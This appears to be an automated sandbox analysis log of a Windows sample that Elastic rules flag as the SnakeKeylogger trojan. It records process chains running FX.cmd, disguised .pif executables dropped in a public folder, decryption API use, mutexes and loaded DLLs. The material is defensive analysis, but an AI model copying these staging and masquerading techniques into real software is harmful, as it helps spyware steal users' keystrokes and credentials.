            Source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, -j.csCryptographic APIs: 'TransformFinalBlock'
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
            Source: image.exe, Pumyophn.PIF.0.drBinary or memory string: oW.Sln
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@21/8@5/5
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C97F52 GetDiskFreeSpaceA,0_2_02C97F52
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,3_2_004019F0
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA6D48 CoCreateInstance,0_2_02CA6D48
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,3_2_004019F0
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Users\Public\PumyophnF.cmdJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A3_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A3_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A3_1_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A7_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A7_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A7_1_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A14_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A14_2_00413780
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCommand line argument: 08A14_1_00413780
            Source: C:\Users\user\Desktop\image.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\user\Desktop\image.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\Public\Libraries\Pumyophn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
            Source: C:\Users\user\Desktop\image.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: image.exeReversingLabs: Detection: 15%
            Source: C:\Users\user\Desktop\image.exeFile read: C:\Users\user\Desktop\image.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\image.exe "C:\Users\user\Desktop\image.exe"
            Source: C:\Users\user\Desktop\image.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\image.exeProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pif
            Source: unknownProcess created: C:\Users\Public\Libraries\Pumyophn.PIF "C:\Users\Public\Libraries\Pumyophn.PIF"
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pif
            Source: unknownProcess created: C:\Users\Public\Libraries\Pumyophn.PIF "C:\Users\Public\Libraries\Pumyophn.PIF"
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pif
            Source: C:\Users\user\Desktop\image.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
            Source: C:\Users\user\Desktop\image.exeProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pifJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pifJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pif
            Source: C:\Users\user\Desktop\image.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: url.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: smartscreenps.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: winhttpcom.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: webio.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??????????.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ???.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ???.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ???.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: am.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??l.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??l.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??l.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ????.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ???e???????????.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ???e???????????.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ?.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??l.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: ??l.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: tquery.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: cryptdll.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: spp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: spp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: advapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: spp.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppwmi.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppcext.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: winscard.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: devobj.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\image.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: wldp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: userenv.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: profapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasapi32.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasman.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rtutils.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: url.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieframe.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: netapi32.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: userenv.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wkscli.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: netutils.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: smartscreenps.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winmm.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wininet.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wldp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: profapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dllJump to behavior
